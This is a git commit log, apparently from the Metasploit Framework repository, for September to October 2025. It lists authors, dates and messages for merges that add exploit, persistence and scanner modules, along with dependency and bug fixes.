Brendan 91c0adb17f Merge pull request #20585 from vognik/CVE_2025_60787
Add MotionEye Authenticated RCE (CVE-2025-60787)
2025-10-09 13:50:25 -05:00
jenkins-metasploit 2c082a4fef automatic module_metadata_base.json update 2025-10-09 18:33:04 +00:00
Spencer McIntyre 27d0e638ed Merge pull request #20546 from dwelch-r7/fix-ssh-login-pubkey
Fix ssh login pubkey module
2025-10-09 14:24:09 -04:00
Vognik 267a26b763 code review changes from smcintyre-r7@ 2025-10-09 21:51:31 +04:00
Dean Welch 8c5c395ce7 Fix ssh login pubkey module 2025-10-09 12:36:00 +01:00
Metasploit 9e8b1d5a9c Bump version of framework to 6.4.93 2025-10-09 03:33:47 -05:00
jenkins-metasploit 7c997c88f0 automatic module_metadata_base.json update 2025-10-08 21:09:17 +00:00
jheysel-r7 a8ec46f2b2 Merge pull request #20579 from nakkouchtarek/listmonk_env_disclosure
Add Listmonk Template Function Environment Variable Disclosure Auxiliary Module (CVE-2025-49136)
2025-10-08 14:00:37 -07:00
Tarek Nakkouch 7c840a1bac Add Listmonk environment disclosure auxiliary module 2025-10-08 21:02:24 +01:00
HamzaSahin61 db6dbf4f8e Update redoc_exposed.md 2025-10-08 21:19:35 +03:00
jenkins-metasploit 5f80ca6a2b automatic module_metadata_base.json update 2025-10-08 18:08:33 +00:00
Brendan 10d1f53692 Merge pull request #19975 from dledda-r7/feat/split-stdapi
Split Stdapi
2025-10-08 13:00:04 -05:00
HamzaSahin61 4577a3d735 Update redoc_exposed.rb 2025-10-08 20:56:53 +03:00
jenkins-metasploit 3ed3b3964c automatic module_metadata_base.json update 2025-10-08 15:59:46 +00:00
jheysel-r7 4f4febfcac Merge pull request #20602 from zeroSteiner/fix/fusionpbx-cve
Remove a CVE that was mistakenly added
2025-10-08 08:51:17 -07:00
Brendan 05894ccb78 Apply suggestion from @bwatters-r7 2025-10-08 10:36:32 -05:00
Brendan 5d56f70ef2 Apply suggestion from @bwatters-r7 2025-10-08 10:35:50 -05:00
Brendan e9936265dd Update LICENSE_GEMS 2025-10-08 10:33:59 -05:00
Brendan 6a0a19b05d Apply suggestion from @bwatters-r7
Bump Payloads version again
2025-10-08 10:21:15 -05:00
Spencer McIntyre 7b2643ce5d Remove a CVE that was mistakenly added 2025-10-08 10:45:59 -04:00
dwelch-r7 02a894a189 Merge pull request #20601 from adfoster-r7/remove-faraday-pin
Remove faraday pin
2025-10-08 14:17:38 +01:00
adfoster-r7 9fe13e204a Remove faraday pin 2025-10-08 13:39:23 +01:00
jenkins-metasploit 077ed6b567 automatic module_metadata_base.json update 2025-10-08 11:13:33 +00:00
dwelch-r7 c03dd45875 Merge pull request #20600 from adfoster-r7/unpin-octokit
Unpin octokit
2025-10-08 12:04:58 +01:00
HamzaSahin61 33825d06ec Update redoc_exposed.rb 2025-10-08 03:45:12 +03:00
HamzaSahin61 941f3f3b72 Update redoc_exposed.md 2025-10-08 03:42:06 +03:00
HamzaSahin61 43526ee0e0 Update redoc_exposed.md 2025-10-08 03:37:43 +03:00
HamzaSahin61 67490e4244 Create redoc_exposed.md 2025-10-08 01:46:56 +03:00
jheysel-r7 eeaf760948 Merge pull request #20595 from zeroSteiner/fix/add-missing-cves
Add Missing CVE Data To Modules In Bulk
2025-10-07 15:28:37 -07:00
HamzaSahin61 fc35a8a32f Update redoc_exposed.rb 2025-10-08 01:09:29 +03:00
Spencer McIntyre 9dc5696cc4 Update dash characters in module references 2025-10-07 14:03:32 -04:00
Spencer McIntyre fd21209e4d Add missing CVEs from VulnCheck 2025-10-07 13:59:13 -04:00
Spencer McIntyre 17c5b3707a Add missing module notes 2025-10-07 13:59:13 -04:00
Spencer McIntyre d727302de6 Pass all the files to msftidy to speed things up 2025-10-07 13:59:13 -04:00
adfoster-r7 e0ed3f7d6f Unpin octokit 2025-10-07 18:08:30 +01:00
jheysel-r7 e202546d5d Merge pull request #20597 from adfoster-r7/update-developer-dependencies
Update developer dependencies
2025-10-07 07:59:04 -07:00
jheysel-r7 08510166a4 Merge pull request #20596 from adfoster-r7/update-rails-dependencies
Update rails dependencies
2025-10-07 07:52:56 -07:00
dledda-r7 7d8aa260e4 fix: better extension suggestion with an unknown command 2025-10-07 09:53:02 -04:00
adfoster-r7 8991bec4c3 Update developer dependencies 2025-10-07 13:36:06 +01:00
adfoster-r7 a029f34a6f Update rails dependencies 2025-10-07 13:33:20 +01:00
Vognik 5cb1968c42 small fixes 2025-10-07 08:49:24 +04:00
Vognik 1be31c05da add some random 2025-10-07 08:38:20 +04:00
Vognik c05a9d3f7f code review changes from @bwatters-r7 2025-10-07 03:07:26 +04:00
jheysel-r7 f61a321dcd Merge pull request #20591 from survivant/feature/fix-typos-hacktoberfest
Fix typos in documentation / hacktoberfest
2025-10-06 13:43:32 -07:00
jenkins-metasploit e1bcc0aab6 automatic module_metadata_base.json update 2025-10-06 20:31:43 +00:00
jheysel-r7 dbf84abec3 Merge pull request #20586 from bcoles/windows_script_host_wsf
Add Malicious Windows Script Host Script File (.wsf) module
2025-10-06 13:21:56 -07:00
HamzaSahin61 c2f554bc36 auxiliary(scanner/http/redoc_exposed): detect exposed ReDoc API docs UI 2025-10-06 22:37:28 +03:00
dledda-r7 763f631852 fix: better loading check for split-stdapi 2025-10-06 08:40:09 -04:00
Vognik 25624e9ae0 code review changes 2025-10-06 15:46:59 +04:00
dledda-r7 35fe047a6e chore: stdapi extensions fix comments, and format 2025-10-06 07:29:32 -04:00
dledda-r7 381ed892fa chore: stdapi command dispatcher fix comments, and format 2025-10-06 06:48:12 -04:00
Diego Ledda a1ab9b8ca9 Update lib/rex/post/meterpreter/extensions/stdapi_audio/stdapi_audio.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-10-06 10:31:54 +02:00
Diego Ledda 69ebefec13 Update lib/rex/post/meterpreter/client_core.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-10-06 10:30:45 +02:00
Diego Ledda 650ee9f6f1 Update lib/rex/payloads/meterpreter/config.rb 2025-10-06 10:10:05 +02:00
Sebastien Dionne 77f760c1bf Fix typos in documentation 2025-10-05 12:01:16 -04:00
bcoles 9a8d1473d8 Add Malicious Windows Script Host Script File (.wsf) module 2025-10-05 20:16:00 +11:00
Vognik 6d295b993a Add MotionEye Unauthenticated RCE (CVE-2025-60787) 2025-10-05 05:32:32 +04:00
jenkins-metasploit 05c854b1c5 automatic module_metadata_base.json update 2025-10-03 20:45:10 +00:00
jheysel-r7 5252e92954 Merge pull request #20568 from bcoles/vbsobfuscate
Msf::Exploit::VBSObfuscate: Add VBS obfuscation library
2025-10-03 13:36:43 -07:00
jenkins-metasploit 7b9ce27117 automatic module_metadata_base.json update 2025-10-03 17:13:21 +00:00
jheysel-r7 04188cb9cb Merge pull request #20527 from h00die/modern_persistence_plist
update plist persistence to mixin
2025-10-03 10:05:17 -07:00
jenkins-metasploit 4526ae920e automatic module_metadata_base.json update 2025-10-03 14:53:51 +00:00
msutovsky-r7 1491edeeb0 Land #20563, adds automatic identifying and checking of CAs when running registry check
Update reg checks when DC and CA are separate
2025-10-03 16:45:09 +02:00
dledda-r7 5f2adab0e7 fix: updated stdapi loading logic 2025-10-03 09:53:50 -04:00
Jack Heysel 74d229e11f Multiple CA testing 2025-10-02 18:14:00 -07:00
Spencer McIntyre 0aed5fcfbc Merge pull request #20582 from xHector1337/bump-rex-random_identifier
Bump rex-random_identifier to version 0.1.21
2025-10-02 17:35:56 -04:00
Muzaffer Umut ŞAHİN 82f1335e82 Bump rex-random_identifier to version 0.1.21 2025-10-02 18:47:47 +03:00
Metasploit 8a021abf56 Bump version of framework to 6.4.92 2025-10-02 03:32:41 -05:00
msutovsky-r7 b5c9547cc0 Land #20456, adds documentation for wordpress_cp_calendar_sqli auxiliary module
Add documentation for auxiliary/scanner/http/wordpress_cp_calendar_sqli
2025-10-02 08:02:12 +02:00
Martin Sutovsky 3cc91f544e Fixes msftidy_docs issues 2025-10-02 07:39:48 +02:00
Martin Sutovsky 103ae28696 Addressing comments 2025-10-02 07:36:10 +02:00
Jack Heysel f19f910f7e Add msPKI-Certificate-Name-Flag to cert details 2025-10-01 17:35:36 -07:00
Jack Heysel 1da518ec82 Responded to comments 2025-10-01 17:35:36 -07:00
Jack Heysel c73ffae95b Updated CA datastore option definition 2025-10-01 17:35:36 -07:00
Jack Heysel 0458c3db70 minor edits 2025-10-01 17:35:36 -07:00
Jack Heysel 66d59a7ddc Update reg checks when DC and CA are separate 2025-10-01 17:35:36 -07:00
jenkins-metasploit a3498db126 automatic module_metadata_base.json update 2025-10-01 06:48:16 +00:00
msutovsky-r7 6e06963495 Land #20566, adds support to esc_update_ldap module when shadow credentials are not required
Update esc_update_ldap module so shadow creds not required
2025-10-01 08:39:26 +02:00
msutovsky-r7 81127918fe Land #20518, adds NTLM leak/LNK padding fileformat modules
Adds fileformat NTLM leak/LNK padding modules
2025-09-29 15:34:40 +02:00
Martin Sutovsky c044db677d Cleares up docs 2025-09-29 14:29:11 +02:00
Martin Sutovsky 310b8b7f8a Includes share datastore option in UNC path 2025-09-29 11:37:42 +02:00
Martin Sutovsky 38efab0bab Rubocopes, fixes SMB server, code cleanup 2025-09-29 11:33:33 +02:00
Martin Sutovsky 5faf18795c Rubocopes, fixes SMB server 2025-09-29 11:20:55 +02:00
Martin Sutovsky eaada61d80 Fixes notes 2025-09-29 11:10:00 +02:00
Martin Sutovsky 042cdb7a60 Code cleanup, adds Faker, fixing SMB server 2025-09-29 10:55:10 +02:00
Martin Sutovsky 82e2f03c23 Fixes ZDI reference, code cleanup 2025-09-29 10:13:37 +02:00
Martin Sutovsky d21f7917a9 Fixes regex 2025-09-29 10:01:24 +02:00
jenkins-metasploit a849571502 automatic module_metadata_base.json update 2025-09-29 07:44:10 +00:00
Martin Sutovsky 7b4bb55e12 Rubocopes 2025-09-29 09:41:10 +02:00
msutovsky-r7 a23473a103 Land #20565, moves image exec module to persistence category and mixin
Modern persistence image exec
2025-09-29 09:32:25 +02:00
h00die 81d8d46166 peer review 2025-09-26 15:44:31 -04:00
jenkins-metasploit 20c8708c96 automatic module_metadata_base.json update 2025-09-26 14:06:43 +00:00
msutovsky-r7 79ff667d5e Land #20538, adds systemd override persistence module
persistence: systemd service override
2025-09-26 15:57:31 +02:00
dledda-r7 889941487b fix: fix logic for split stdapi loading 2025-09-26 09:43:20 -04:00
jenkins-metasploit 95bc7a4599 automatic module_metadata_base.json update 2025-09-26 13:02:18 +00:00
Martin Sutovsky 00f902b04b Adds formatting to cleanup commands 2025-09-26 15:00:09 +02:00
Spencer McIntyre 3d1d49b71a Merge pull request #20517 from cgranleese-r7/adds-postgres-ssl-support
Adds SSL support to the postgres_login module
2025-09-26 08:53:47 -04:00
dledda-r7 dd802fa8a6 fix: fix mettle stdapi split regression 2025-09-26 06:54:24 -04:00
dledda-r7 48e8d40701 fix: update meterpreter stageless cached size 2025-09-26 06:11:40 -04:00
dledda-r7 0a2707b8af fix: update meterpreter stageless cached size 2025-09-26 03:54:58 -04:00
happybear-21 8cfc2ae723 ixed: issues, updated requested changes (files: specialfolder_leak.rb, environment_variable_datablock_leak.rb, icon_environment_datablock_leak.rb) 2025-09-26 11:05:39 +05:30
h00die 09475fc2b9 peer review 2025-09-25 16:38:50 -04:00
Jack Heysel 7b3c82f2e6 Responded to comments 2025-09-25 13:35:41 -07:00
bcoles bbc9928a75 exploit/windows/fileformat/windows_script_host_vbscript: Use VBSObfuscate 2025-09-26 03:06:37 +10:00
bcoles 5b0565a4a1 Msf::Exploit::VBSObfuscate: Add VBS obfuscation library 2025-09-26 03:06:20 +10:00
Martin Sutovsky a91f5f53f2 Substitutes cmd_exec with mkdir to create_process 2025-09-25 18:20:54 +02:00
adfoster-r7 070bf7f287 Merge pull request #20555 from bwatters-r7/spec/add-x64-meterp-acc-tests
add x64 acceptance tests, and use single, release payload
2025-09-25 15:40:51 +01:00
dledda-r7 0b1ec457b1 feat: bump metasploit-payloads 2025-09-25 10:27:05 -04:00
jenkins-metasploit 7f88110032 automatic module_metadata_base.json update 2025-09-25 10:58:08 +00:00
msutovsky-r7 86381a6394 Land #20412, swaps to psh_exec in powershell/exec_powershell
Remove errant write_log call and swap to the all-in-one psh_exec rath…
2025-09-25 12:49:33 +02:00
adfoster-r7 391e4e22f6 Merge pull request #20567 from bcoles/rex-exploitation
bump rex-exploitation gem from 0.1.41 to 0.1.44
2025-09-25 10:08:40 +01:00
cgranleese-r7 40f6e2ca60 Updates test to cover SSL support 2025-09-25 09:48:44 +01:00
Metasploit c4b7d9b42f Bump version of framework to 6.4.91 2025-09-25 03:32:30 -05:00
happybear-21 ae3b548be6 fixed: issues, updated requested changes (file: datablock_padding_lnk.rb) 2025-09-24 21:56:14 +05:30
adfoster-r7 40c32a2599 Merge pull request #20561 from cgranleese-r7/fixes-report-note-warning-when-no-data-key
Fixes deprecation message logic when no `data` object present
2025-09-24 14:29:45 +01:00
adfoster-r7 13b6c6eb98 Add named variable
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-09-24 13:57:39 +01:00
Jack Heysel e9ab1d0839 Update esc_update_ldap module so shadow creds not required 2025-09-23 14:37:55 -07:00
h00die 915cad72b5 modern persistence for windows image_exec_options 2025-09-23 17:25:27 -04:00
h00die 2b16a23436 Update modules/exploits/osx/persistence/launch_plist.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-09-23 16:59:26 -04:00
h00die e855938ff8 persistence suggester 2025-09-23 16:40:43 -04:00
h00die 01a07ac9a1 modernizing windows persistence 2025-09-23 16:39:56 -04:00
bcoles 6d693c8586 bump rex-exploitation gem from 0.1.41 to 0.1.44 2025-09-24 05:11:51 +10:00
jenkins-metasploit 74de3c7314 automatic module_metadata_base.json update 2025-09-23 15:44:11 +00:00
Brendan a1e3e1545b Merge pull request #20562 from uhei/fix/weblogic-regex
fix: WebLogic server detection regex
2025-09-23 10:35:19 -05:00
msutovsky-r7 1a84744f15 Land #20557, fixes ActiveRecord error in reporting failure for file-based/multi-value RHOSTS
Fix ActiveRecord error when reporting failures with file-based RHOSTS
2025-09-23 16:28:10 +02:00
Martin Sutovsky 5260da1867 Removes redundant variables 2025-09-23 16:22:40 +02:00
Martin Sutovsky 6e01e7a5f6 Minor code changes 2025-09-23 16:16:41 +02:00
jenkins-metasploit 468b1027f3 automatic module_metadata_base.json update 2025-09-23 11:51:53 +00:00
msutovsky-r7 13b3e20a6b Land #20559, adds FreePBX unauthenticated SQLi to RCE module (CVE-2025-57819)
Add FreePBX Unauthenticated SQLi to RCE (CVE-2025-57819)
2025-09-23 13:38:44 +02:00
Uli Heilmeier 5af0dd3357 fix: WebLogic server detection regex
Some WebLogic server versions reports their version with a dash
between 'Server' and 'Version', like
'<p id="footerVersion">WebLogic Server-Version: 12.2.1.3.0</p>'
2025-09-23 09:58:50 +02:00
cgranleese-r7 a4f9dc7f13 Fixes deprecation message logic when no data object present 2025-09-23 08:38:14 +01:00
Brendan 052fdb7234 Merge pull request #20512 from cdelafuente-r7/fix_native_wth_gcc15
Fix issue with native extensions and GCC 15
2025-09-22 15:37:08 -05:00
Brendan e6e7a455e5 Merge pull request #20540 from Chocapikk/tips
Add new helpful tips to COMMON_TIPS for better usability
2025-09-22 13:25:59 -05:00
Echo_Slow b51cc87f88 Update freepbx_unauth_sqli_to_rce.rb
Performed manual cleanup by observing the error log of msftidy.  Checked for original functionality, the exploit still works.
2025-09-22 17:34:00 +02:00
Echo_Slow 6b183ba3b4 Update freepbx_unauth_sqli_to_rce.rb
Used rubocop -A option
2025-09-22 16:49:19 +02:00
Echo_Slow 9c901e7a46 Merge branch 'freepbx_unauth_sqli_to_rce' of https://github.com/EchoSl0w/metasploit-framework into freepbx_unauth_sqli_to_rce 2025-09-22 16:47:34 +02:00
Echo_Slow a1973e9f72 Update freepbx_unauth_sqli_to_rce.rb
Used rubocop with -A option.
2025-09-22 16:45:29 +02:00
Echo_Slow c0f4efd87d Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-22 16:42:22 +02:00
cgranleese-r7 13c3f4349d Adds exception and change SSL socket initialisation 2025-09-22 14:57:46 +01:00
Echo_Slow 09207eb450 Update freepbx_unauth_sqli_to_rce.rb to account for slow systems 2025-09-22 13:18:32 +02:00
Echo_Slow b54dfddc25 Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-09-22 13:17:28 +02:00
Echo_Slow 75c8efbc7d Update freepbx_unauth_sqli_to_rce.rb
Made the code more readable
2025-09-22 11:26:11 +02:00
Echo_Slow 19074eef02 Add exploit for CVE-2025-57819
Added an exploit script for unauthenticated remote code execution targeting FreePBX
2025-09-21 22:56:19 +02:00
Jeff McJunkin 893a4a5c98 failure.rb: Make comments accurate again 2025-09-19 14:47:03 -07:00
Jeff McJunkin 094fa8191a Update lib/msf/core/module/failure.rb
Per @smcintyre-r7's suggestion, which is a damned good one.

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-09-19 14:45:33 -07:00
Jeff McJunkin 1dc1a24f73 Improve RHOST validation logic inside report_failure 2025-09-19 14:30:27 -07:00
Jeff McJunkin 4b2a354d21 Prevent file: paths from being saved as host addresses in report_failure
Added check to prevent saving file paths as host addresses.
2025-09-19 14:07:32 -07:00
h00die ae2f7d8de1 better cleanup for launch_plist 2025-09-19 13:42:15 -04:00
h00die d2af76cdd0 update plist persistence to mixin 2025-09-19 13:42:14 -04:00
jenkins-metasploit a496ad0ac7 automatic module_metadata_base.json update 2025-09-18 20:48:23 +00:00
jheysel-r7 8b539f7e96 Merge pull request #20524 from h00die/modern_persistence_yum
update yum to persistence module
2025-09-18 13:39:57 -07:00
h00die 6c5522cdba Update documentation/modules/exploit/linux/persistence/init_systemd_override.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-09-18 16:25:54 -04:00
h00die 160cf5c55b peer review for yum persistence 2025-09-18 16:15:24 -04:00
Spencer McIntyre ed88e5397c Merge pull request #20553 from BenoitDePaoli/fix/userpass_password_persistence
fix: ensure USERPASS_FILE credentials store password (set private_type)
2025-09-18 15:39:08 -04:00
h00die 15f4abd1b2 update yum to persistence module 2025-09-18 15:36:44 -04:00
jenkins-metasploit dbc7af30b7 automatic module_metadata_base.json update 2025-09-18 16:05:00 +00:00
Spencer McIntyre cf3abc280e Merge pull request #20533 from cdelafuente-r7/feat/mitre/add_ref
Add T1003 "OS credential dumping" MITRE technique reference
2025-09-18 11:56:33 -04:00
happybear-21 f844377d58 added: documentation 2025-09-18 21:10:23 +05:30
jenkins-metasploit 05273263c9 automatic module_metadata_base.json update 2025-09-18 10:13:16 +00:00
Diego Ledda c718a965d7 Merge pull request #20508 from h00die/modern_persistence_cron
update cron to persistence mixin
2025-09-18 12:04:00 +02:00
Diego Ledda cb2f3992de chore: fix white-space issue 2025-09-18 11:48:17 +02:00
Metasploit c1b9cc7150 Bump version of framework to 6.4.90 2025-09-18 03:32:20 -05:00
h00die 6ddaa076c1 Apply suggestions from code review
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-09-17 15:41:25 -04:00
bwatters-r7 1891ebef87 add x64 acceptance tests, and use single, release payload 2025-09-17 12:21:30 -05:00
cgranleese-r7 f26c14f05a Address PR feedback 2025-09-17 15:38:08 +01:00
BenoitDePaoli 08c43670ff fix: ensure USERPASS_FILE credentials store password (set private_type) 2025-09-17 15:42:03 +02:00
jenkins-metasploit 99c24c37f2 automatic module_metadata_base.json update 2025-09-17 13:29:46 +00:00
Diego Ledda 448381ee96 Merge pull request #20548 from xHector1337/fix-exploits/linux/samba/is_known_pipename.rb
Fixes samba share iteration in linux/samba/is_known_pipename
2025-09-17 15:21:27 +02:00
Diego Ledda b5b1ac237a Update is_known_pipename.rb 2025-09-17 11:04:28 +02:00
jenkins-metasploit a333c81338 automatic module_metadata_base.json update 2025-09-17 08:06:57 +00:00
msutovsky-r7 dc8d67538c Land #20536, adds docker image persistence module
docker image persistence module
2025-09-17 09:56:16 +02:00
jenkins-metasploit 076fd0cc45 automatic module_metadata_base.json update 2025-09-16 22:06:51 +00:00
jheysel-r7 81ce0f8868 Merge pull request #20521 from h00die/modern_persistence_systemd
update systemd to persistence mixin
2025-09-16 14:56:26 -07:00
jenkins-metasploit 5394ff4b1b automatic module_metadata_base.json update 2025-09-16 20:30:50 +00:00
jheysel-r7 58dfd4d0ca Merge pull request #20507 from remmons-r7/commvault_rce_cve_2025_57790_cve_2025_57791
Exploit Module for CVE-2025-57790/CVE-2025-57791 - Commvault Unauthenticated RCE
2025-09-16 13:22:18 -07:00
h00die 73c6ed2528 peer review for init_systemd_override persistence 2025-09-16 16:08:30 -04:00
h00die 93bc79e87d peer review for docker_image persistence 2025-09-16 15:57:24 -04:00
Muzaffer Umut ŞAHİN 7c5fce6872 Add nill check logic 2025-09-16 19:49:55 +03:00
Christophe De La Fuente 788b9c27b4 Use sub-technique and add missing modules 2025-09-16 18:39:23 +02:00
msutovsky-r7 5eecb1feac Land #20535, adds a test login scanner and fixes ANONYMOUS_LOGIN
Add a test login scanner and fix ANONYMOUS_LOGIN
2025-09-16 16:51:26 +02:00
jenkins-metasploit 76977aeb61 automatic module_metadata_base.json update 2025-09-16 13:06:52 +00:00
msutovsky-r7 32aa0d84e4 Land #20525, moves obsidian plugin module to persistence category and mixin
update obsidian to persistence mixin
2025-09-16 14:58:15 +02:00
jenkins-metasploit 555423b2eb automatic module_metadata_base.json update 2025-09-15 23:04:23 +00:00
jheysel-r7 02e35f7e92 Merge pull request #20520 from h00die/modern_persistence_openrc
update openrc to persistence mixin
2025-09-15 15:54:31 -07:00
h00die ebe0234ddb Update documentation/modules/exploit/linux/persistence/init_openrc.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-09-15 16:30:17 -04:00
jenkins-metasploit ab1dd8787c automatic module_metadata_base.json update 2025-09-15 19:56:40 +00:00
Brendan 1ec10ec877 Merge pull request #20510 from h00die/modern_persistence_rc_local
update rc_local to persistence mixin
2025-09-15 14:47:48 -05:00
Spencer McIntyre a538a8ea14 Merge pull request #20483 from dledda-r7/fix/update-metasploit-payloads-runner
Update CI for meterpreter vs2022
2025-09-15 15:43:16 -04:00
remmons-r7 eddc81f10c Update commvault_rce_cve_2025_57790_cve_2025_57791.md
Update the example usage terminal output to reflect module changes.
2025-09-15 11:37:57 -05:00
remmons-r7 12b78c086d Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
Remove an empty line that msftidy doesn't like
2025-09-15 11:19:49 -05:00
remmons-r7 ddc5abf20c Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
Remove a commented out line that isn't needed.
2025-09-15 10:56:30 -05:00
remmons-r7 bb3a26cff1 Implement peer review suggestions for Commvault module
Implementing commvault_rce_cve_2025_57790_cve_2025_57791.rb changes from peer review.
2025-09-15 10:54:34 -05:00
remmons-r7 b754b7027c Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791 2025-09-15 10:47:38 -05:00
remmons-r7 c20dd394ab Merge branch 'rapid7:master' into master 2025-09-15 10:47:23 -05:00
dledda-r7 20345c2234 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 10:12:45 -04:00
dledda-r7 7be73c59e9 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 09:33:54 -04:00
dledda-r7 b30c3e32c6 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 08:53:39 -04:00
dledda-r7 85c65bd48f fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 08:04:35 -04:00
happybear-21 aa264f59d4 fixed: rubocop offenses (file: specialfolder_leak.rb) 2025-09-14 23:45:32 +05:30
happybear-21 2ea4f7cdb0 fixed: rubocop offenses (file: icon_environment_datablock_leak.rb) 2025-09-14 23:35:46 +05:30
happybear-21 97495cdaa4 fixed: rubocop offenses 2025-09-14 23:28:17 +05:30
happybear-21 65549ba868 added: smb share server, completed: requested change 2025-09-14 15:43:58 +05:30
happybear-21 5a82ea53b9 added: smb for lateral movement, updated: description and icon_path as optional, used: faker module to generate data 2025-09-14 15:34:26 +05:30
happybear-21 3aa18b1541 updated: description and icon_path as optional, added: faker module to generate description and icon_path, fixed: minor changes 2025-09-14 15:19:05 +05:30
jenkins-metasploit 8ad35c0534 automatic module_metadata_base.json update 2025-09-12 23:27:45 +00:00
jheysel-r7 b45a3caaa5 Merge pull request #20509 from h00die/modern_persistence_motd
update motd to persistence mixin
2025-09-12 16:18:08 -07:00
Metasploit 831912a81b Bump version of framework to 6.4.89 2025-09-12 16:38:50 -05:00
jenkins-metasploit 4328e9951f automatic module_metadata_base.json update 2025-09-12 21:22:03 +00:00
jheysel-r7 e473c08b61 Merge pull request #20542 from zeroSteiner/fix/smb-kerberos-login-exp
Fix a Kerberos Error Edge Case When Logging In
2025-09-12 14:13:54 -07:00
Spencer McIntyre c27138a5bf Filter for an edge case in response codes 2025-09-12 16:49:49 -04:00
Spencer McIntyre 829166def4 Fix a regression in smb_login 2025-09-12 16:49:46 -04:00
jenkins-metasploit 3f1698f209 automatic module_metadata_base.json update 2025-09-12 19:56:02 +00:00
jheysel-r7 796404c1d7 Merge pull request #20541 from zeroSteiner/fix/smb-login-nil-passwords
Fix a regression in smb_login
2025-09-12 12:42:19 -07:00
Spencer McIntyre 3e396ce31f Deregister KrbCacheMode because it's ignored 2025-09-12 15:11:23 -04:00
Spencer McIntyre 5d748b9ba3 Fix a regression in smb_login 2025-09-12 14:27:32 -04:00
Chocapikk 93472898ce Add new helpful tips to COMMON_TIPS for better usability 2025-09-12 19:49:45 +02:00
Spencer McIntyre 59f1dd4879 Merge pull request #20529 from bwatters-r7/docs/update-contributing
Add section on Vibecoding and AI/LLM
2025-09-12 13:01:26 -04:00
jenkins-metasploit dbc7867dd7 automatic module_metadata_base.json update 2025-09-12 12:49:27 +00:00
msutovsky-r7 c901b5a306 Land #20526, moves at_persistence to persistence category and mixin
Modern persistence: at
2025-09-12 14:41:00 +02:00
mwalas-r7 d3d2950e80 Merge pull request #20537 from zeroSteiner/fix/null-cache-path
Check the path is set before checking the file exists
2025-09-12 05:18:37 -07:00
h00die 5abe0f57b7 Update documentation/modules/exploit/multi/persistence/at.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-12 14:13:27 +02:00
h00die 15cdbfac2e update at persistence to use attck ref 2025-09-12 14:13:26 +02:00
h00die fd1d70ef93 update at persistence to mixin 2025-09-12 14:13:26 +02:00
h00die 403d02698b systemd service override persistence 2025-09-11 17:29:13 -04:00
jenkins-metasploit cc48f38e21 automatic module_metadata_base.json update 2025-09-11 18:34:00 +00:00
jheysel-r7 96a83143f1 Merge pull request #20479 from msutovsky-r7/exploit/sitecore/postauth-rce
Adds modules for Sitecore XP post-auth remote code executions (CVE-2025-34510, CVE-2025-34511)
2025-09-11 11:25:27 -07:00
jenkins-metasploit dd7c491d9e automatic module_metadata_base.json update 2025-09-11 17:06:52 +00:00
Diego Ledda 985af001d2 Merge pull request #20497 from h00die/modern_persistence_autostart
update autostart to persistence mixin
2025-09-11 18:58:32 +02:00
jheysel-r7 a3a1e146f0 Apply suggestions from code review 2025-09-11 09:40:34 -07:00
Spencer McIntyre e197f532db Check the path is set before checking the file exists 2025-09-11 12:35:30 -04:00
h00die bce1a19927 Update modules/exploits/linux/persistence/init_openrc.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-11 12:00:52 -04:00
h00die 00115457f7 Update documentation/modules/exploit/linux/persistence/init_upstart.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-11 12:00:28 -04:00
h00die 5c52151a06 Update documentation/modules/exploit/linux/persistence/init_upstart.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-11 12:00:22 -04:00
jenkins-metasploit 947a0ed339 automatic module_metadata_base.json update 2025-09-11 14:54:10 +00:00
Spencer McIntyre afdaf4ff39 Merge pull request #20514 from dledda-r7/fix/remove-unhook-autoload
Removing unhook extension autoload
2025-09-11 10:45:39 -04:00
Martin Sutovsky 5ab864b9b1 Uses between? for version check, clearer webshell upload 2025-09-11 11:04:34 +02:00
Diego Ledda 80c5e41650 Merge pull request #20495 from h00die/modern_persistence_apt
update apt_package_manager to persistence mixin
2025-09-11 10:49:08 +02:00
Martin Sutovsky 00bd70751c Updates docs 2025-09-11 10:41:28 +02:00
Metasploit f494b9871a Bump version of framework to 6.4.88 2025-09-11 03:32:35 -05:00
h00die 71e9602eba Update modules/exploits/linux/persistence/autostart.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-09-10 13:59:23 -04:00
h00die 2bf5264aff docker image persistence module 2025-09-10 13:45:22 -04:00
Diego Ledda 4104497498 Merge pull request #20502 from zeroSteiner/feat/refactor-pe-compiling
Update PE EXE Templates
2025-09-10 12:37:35 +02:00
jenkins-metasploit 1fe1512596 automatic module_metadata_base.json update 2025-09-10 08:23:55 +00:00
Diego Ledda 1314f5d0bb Merge pull request #20455 from Chocapikk/aitemi_m300_time_rce
Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152)
2025-09-10 10:12:41 +02:00
h00die 489e0ca404 docker image persistence module draft 2025-09-09 22:53:06 -04:00
h00die adde043c22 upstart updated with mixin udpates 2025-09-09 17:03:25 -04:00
h00die b9534ffbe4 use attck ref in upstart persistence module 2025-09-09 17:03:25 -04:00
